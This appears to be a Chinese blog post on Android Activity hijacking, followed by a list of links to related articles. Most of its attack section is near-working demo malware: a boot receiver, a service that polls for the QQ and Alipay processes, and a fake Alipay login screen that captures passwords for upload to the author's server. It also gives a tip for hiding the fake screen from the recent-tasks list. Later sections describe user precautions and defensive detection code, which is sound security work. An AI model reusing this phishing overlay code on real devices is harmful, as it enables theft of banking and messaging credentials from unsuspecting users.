1、Activity调度机制

android为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。他们切换的只是一个activity,让切换的到前台显示,另一个应用则被覆盖到后台,不可见。Activity的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。 当AmS收到要启动或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。

2、Android设计上的缺陷——Activity劫持 

如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。 
但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢? 
在Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

一个运行在后台的服务可以做到如下两点:1,决定哪一个activity运行在前台  2,运行自己app的activity到前台。

这样,恶意的开发者就可以对应程序进行攻击了,对于有登陆界面的应用程序,他们可以伪造一个一模一样的界面,普通用户根本无法识别是真的还是假。用户输入用户名和密码之后,恶意程序就可以悄无声息的把用户信息上传到服务器了。这样是非常危险的。

实现原理:如果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证。




3、示例 
下面是示例代码。 
AndroidManifest.xml文件的代码。

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.sinaapp.msdxblog.android.activityhijacking"android:versionCode="1"android:versionName="1.0" ><uses-sdk android:minSdkVersion="4" /><uses-permission android:name="android.permission.INTERNET" /><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /><applicationandroid:name=".HijackingApplication"android:icon="@drawable/icon"android:label="@string/app_name" ><activityandroid:name=".activity.HijackingActivity"android:theme="@style/transparent"android:label="@string/app_name" ><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity><activity android:name=".activity.sadstories.JokeActivity" /><activity android:name=".activity.sadstories.QQStoryActivity" /><activity android:name=".activity.sadstories.AlipayStoryActivity" /><receiverandroid:name=".receiver.HijackingReceiver"android:enabled="true"android:exported="true" ><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED" /></intent-filter></receiver><service android:name=".service.HijackingService" ></service></application></manifest>

在以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开机启动的权限的这一行代码 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。 

 

package com.sinaapp.msdxblog.android.activityhijacking.activity;import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;public class HijackingActivity extends Activity {/** Called when the activity is first created. */@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.main);Intent intent2 = new Intent(this, HijackingService.class);startService(intent2);Log.w("hijacking", "activity启动用来劫持的Service");}
}

如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。

/** @(#)HijackingBroadcast.java            Project:ActivityHijackingDemo* Date:2012-6-7** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");*  you may not use this file except in compliance with the License.* You may obtain a copy of the License at**     http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/
package com.sinaapp.msdxblog.android.activityhijacking.receiver;import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;/*** @author Geek_Soledad (66704238@51uc.com)*/
public class HijackingReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {Log.w("hijacking", "开机启动");Intent intent2 = new Intent(context, HijackingService.class);context.startService(intent2);Log.w("hijacking", "启动用来劫持的Service");}}
}

下面这个HijackingService类可就关键了,即用来进行Activity劫持的。 
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。 
代码如下:

/** @(#)HijackingService.java              Project:ActivityHijackingDemo* Date:2012-6-7** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");*  you may not use this file except in compliance with the License.* You may obtain a copy of the License at**     http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/
package com.sinaapp.msdxblog.android.activityhijacking.service;import java.util.HashMap;
import java.util.List;import android.app.ActivityManager;
import android.app.ActivityManager.RunningAppProcessInfo;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;
import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;/*** @author Geek_Soledad (66704238@51uc.com)*/
public class HijackingService extends Service {private boolean hasStart = false;// 这是一个悲伤的故事……HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();// Timer mTimer = new Timer();Handler handler = new Handler();Runnable mTask = new Runnable() {@Overridepublic void run() {ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);List<RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();// 枚举进程Log.w("hijacking", "正在枚举进程");for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {// 如果APP在前台,那么——悲伤的故事就要来了if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {if (mSadStories.containsKey(appProcessInfo.processName)) {// 进行劫持hijacking(appProcessInfo.processName);} else {Log.w("hijacking", appProcessInfo.processName);}}}handler.postDelayed(mTask, 1000);}/*** 进行劫持* @param processName*/private void hijacking(String processName) {Log.w("hijacking", "有程序要悲剧了……");if (((HijackingApplication) getApplication()).hasProgressBeHijacked(processName) == false) {Log.w("hijacking", "悲剧正在发生");Intent jackingIsComing = new Intent(getBaseContext(),mSadStories.get(processName));jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);getApplication().startActivity(jackingIsComing);((HijackingApplication) getApplication()).addProgressHijacked(processName);Log.w("hijacking", "已经劫持");}}};@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onStart(Intent intent, int startId) {super.onStart(intent, startId);if (!hasStart) {mSadStories.put("com.sinaapp.msdxblog.android.lol",JokeActivity.class);mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);mSadStories.put("com.eg.android.AlipayGphone",AlipayStoryActivity.class);handler.postDelayed(mTask, 1000);hasStart = true;}}@Overridepublic boolean stopService(Intent name) {hasStart = false;Log.w("hijacking", "劫持服务停止");((HijackingApplication) getApplication()).clearProgressHijacked();return super.stopService(name);}
}

下面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组件)。

/** @(#)QQStoryActivity.java               Project:ActivityHijackingDemo* Date:2012-6-7** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");*  you may not use this file except in compliance with the License.* You may obtain a copy of the License at**     http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/
package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;import android.app.Activity;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
import android.text.Html;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;import com.sinaapp.msdxblog.android.activityhijacking.R;
import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;/*** @author Geek_Soledad (66704238@51uc.com)*/
public class AlipayStoryActivity extends Activity {private EditText name;private EditText password;private Button mBtAlipay;private Button mBtTaobao;private Button mBtRegister;private TextView mTvFindpswd;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);this.setTheme(android.R.style.Theme_NoTitleBar);setContentView(R.layout.alipay);mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);mBtRegister = (Button) findViewById(R.id.alipay_bt_register);mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));mBtAlipay.setSelected(true);name = (EditText) findViewById(R.id.input_name);password = (EditText) findViewById(R.id.input_password);}public void onButtonClicked(View v) {switch (v.getId()) {case R.id.alipay_bt_login:HandlerThread handlerThread = new HandlerThread("send");handlerThread.start();new Handler(handlerThread.getLooper()).post(new Runnable() {@Overridepublic void run() {// 发送获取到的用户密码SendUtil.sendInfo(name.getText().toString(), password.getText().toString(), "支付宝");}});moveTaskToBack(true);break;case R.id.alipay_bt_alipay:chooseToAlipay();break;case R.id.alipay_bt_taobao:chooseToTaobao();break;default:break;}}private void chooseToAlipay() {mBtAlipay.setSelected(true);mBtTaobao.setSelected(false);name.setHint(R.string.alipay_name_alipay_hint);mTvFindpswd.setVisibility(View.VISIBLE);mBtRegister.setVisibility(View.VISIBLE);}private void chooseToTaobao() {mBtAlipay.setSelected(false);mBtTaobao.setSelected(true);name.setHint(R.string.alipay_name_taobao_hint);mTvFindpswd.setVisibility(View.GONE);mBtRegister.setVisibility(View.GONE);}
}

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。 
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。

下面是我在学校时用来演示的PPT及APK。

演示文档和APK

4、用户防范 
android手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务 对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务,就可以知道这个登录界面是来源于哪个程序了。 
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

而且这种方法也不是绝对的  可以在AndroidManifest中相应activity下添加android:noHistory="true"这样就不会把伪装界面显示在最近任务中


5、反劫持

然而,如果真的爆发了这种恶意程序,我们并不能在启动程序时每一次都那么小心去查看判断当前在运行的是哪一个程序,当android:noHistory="true"时上面的方法也无效   因此,前几个星期花了一点时间写了一个程序,叫反劫持助手。原理很简单,就是获取当前运行的是哪一个程序,并且显示在一个浮动窗口中,以帮忙用户判断当前运行的是哪一个程序,防范一些钓鱼程序的欺骗。

在这一次,由于是“正当防卫”,就不再通过枚举来获取当前运行的程序了,在manifest文件中增加一个权限:

android权限

    <uses-permission android:name="android.permission.GET_TASKS" />

然后启动程序的时候,启动一个Service,在Service中启动一个浮动窗口,并周期性检测当前运行的是哪一个程序,然后显示在浮动窗口中。 
程序截图如下:

其中Service代码如下:

/** @(#)AntiService.java               Project:ActivityHijackingDemo* Date:2012-9-13** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");*  you may not use this file except in compliance with the License.* You may obtain a copy of the License at**     http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/
package com.sinaapp.msdxblog.antihijacking.service;import android.app.ActivityManager;
import android.app.Notification;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.os.Bundle;
import android.os.Handler;
import android.os.IBinder;
import android.os.Message;
import android.util.Log;import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory;
import com.sinaapp.msdxblog.antihijacking.AntiConstants;
import com.sinaapp.msdxblog.antihijacking.view.AntiView;/*** @author Geek_Soledad (66704238@51uc.com)*/
public class AntiService extends Service {private boolean shouldLoop = false;private Handler handler;private ActivityManager am;private PackageManager pm;private Handler mainHandler;private AntiView mAntiView;private int circle = 2000;@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onStart(Intent intent, int startId) {super.onStart(intent, startId);startForeground(19901008, new Notification());if (intent != null) {circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);} Log.i("circle", circle + "ms");if (true == shouldLoop) {return;}mAntiView = new AntiView(this);mainHandler = new Handler() {public void handleMessage(Message msg) {String name = msg.getData().getString("name");mAntiView.setText(name);};};pm = getPackageManager();shouldLoop = true;am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);handler = new Handler(HandlerFactory.getHandlerLooperInOtherThread("anti")) {@Overridepublic void handleMessage(Message msg) {super.handleMessage(msg);String packageName = am.getRunningTasks(1).get(0).topActivity.getPackageName();try {String progressName = pm.getApplicationLabel(pm.getApplicationInfo(packageName,PackageManager.GET_META_DATA)).toString();updateText(progressName);} catch (NameNotFoundException e) {e.printStackTrace();}if (shouldLoop) {handler.sendEmptyMessageDelayed(0, circle);}}};handler.sendEmptyMessage(0);}private void updateText(String name) {Message message = new Message();Bundle data = new Bundle();data.putString("name", name);message.setData(data);mainHandler.sendMessage(message);}@Overridepublic void onDestroy() {shouldLoop = false;mAntiView.remove();super.onDestroy();}}

浮动窗口仅为一个简单的textview,非此次的技术重点,在这里省略不讲。 
当然,从以上代码也可以看出本程序只能防范通过Activity作为钓鱼界面的程序,因为它是通过运行的顶层的Activity来获取程序名称的,对WooYun最近提到的另一个钓鱼方法它还是无能为力的,关于这一点将在下次谈。

activity劫持反劫持相关推荐

  1. android程序劫持持程序,安卓activity劫持测试工具开发

    一.前言 在日常对Android apk安全测试过程中,有一个测试用例是界面劫持(activity劫持,安卓应用的界面是一层一层的,后启动的应用会在栈顶,显示在最前面),就是恶意apk可以不停枚举进程 ...

  2. android webview 劫持,安卓包风险安全监测提示存在Activity劫持、WebView远程代码执行,请问怎么解决?...

    挺着急的,请问这个怎么解决 1.Activity劫持 用例名称:Activity劫持 风险系数:高 风险编号:NESUN-2016-82091, CWE-94, 风险描述:攻击者劫持目标Activit ...

  3. 警惕另类Activity“劫持”

    AVL移动安全团队最近发现一类木马私自发送扣费短信,上传用户隐私到控制服务器,并且采用了一种Activity劫持手段诱骗用户安装和防止卸载,给用户手机安全带来威胁. 诱骗安装 木马被安装后,监听重启, ...

  4. android怎么网络劫持,Android安全——Activity劫持

    一.activity劫持简介 DEFCON-19上公布的https://www.trustwave.com/spiderlabs/advisories/TWSL2011-008.txt android ...

  5. 你的应用是如何被替换的,App劫持病毒剖析

    你的应用是如何被替换的,App劫持病毒剖析 Author:逆巴@阿里移动安全 0x00 App劫持病毒介绍 App劫持是指执行流程被重定向,又可分为Activity劫持.安装劫持.流量劫持.函数执行劫 ...

  6. android app渗透测试-Activity、Service

    Android App中可能出现的安全漏洞的类型: 协议--通信协议(本地.网络),协议大部分是由C/C++实现,存在以下安全问题:通信数据引发的逻辑漏洞:通信数据引发的缓冲区溢出等可能导致远程代码执 ...

  7. 《移动安全》(6)使用drozer检测四大组件(下)

    在drozer console中直接使用help查看:然后进一步使用help command可查看各命令更具体的使用方法. 通过输入安装包的部分关键字查找包全称 run app.package.lis ...

  8. App上架应用市场,如何攻破安全过检难题

    App的安全过检与众所熟知的安全检测是两个完全不同的概念.首先App行业本身对App安全过检有一定的要求与规范,其次2017年6月1日正式实施的<中国网络安全法>中就曾要求App在渠道上线 ...

  9. xpose修改手机imei码,注入广告

      何为hook  Hook英文翻译过来就是"钩子"的意思,那我们在什么时候使用这个"钩子"呢? 我们知道,在Android操作系统中系统维护着自己的一套事件分 ...

  10. 渗透测试之安全手册(干货)

    用户账户可重复 风险等级:中 漏洞描述: 用户帐号(包括管理员及普通用户)应具有唯一性,保证应用系统中不存在重复用户帐号. 测试步骤: 在注册时,使用burpsuite工具抓取请求包: 将请求发送到i ...

最新文章

  1. Java_bytecode
  2. mysql pdo 查询一条数据_pdo mysql怎么输出第1条 第4条 第7条数据
  3. mongodb query
  4. Scalaz(32)- Free :lift - Monad生产线
  5. GBDT(Gradient Boosting Decision Tree
  6. RDC TERM TABLE
  7. SIGIR 2021 | 基于不确定性正则化与迭代网络剪枝的终身情感分类方法
  8. maven 父maven_Maven不会吮吸。 。 。 但是Maven文件会
  9. kettle7.1 右上角不显示connect
  10. MDK530编译出现ARM版本不符问题
  11. LeetCode算法入门- Compare Version Numbers -day14
  12. legend2---开发日志5(如何解决插件的延迟问题,比如vue)
  13. 常用控件 winform
  14. 容器编排技术 -- Kubernetes kubectl delete 命令详解
  15. 牛津书虫系列_【SHARE】牛津书虫系列英文书
  16. 网络编程和反射的基本知识点的总结
  17. js获取单选框里面的值
  18. Oracle11g常用数据字典
  19. 基于Java+Swing+Mysql酒店客房预订管理系统设计
  20. 搭建代理服务器的完整步骤

热门文章

  1. 反射的学习(参考尚硅谷视频)
  2. 数论入门 2021-2-28
  3. proxmox VE 4.4 增加USB 重定向功能
  4. 极化SAR数据超像素分割和密度峰值聚类
  5. 关于JAVA输入输出流造成的Runtime线程阻塞问题【新人笔记】
  6. Bilinear Pairing双线性配对的解释
  7. eeupdate使用说明_使用eeupdate修改重写IBM网卡MAC-BIOS维修网站www.biosrepair.com
  8. dspemif怎么读_DSP技术在EMIF接口中的BOOT方法简析
  9. snap-社交网络分析
  10. 学习Java编程语言难不难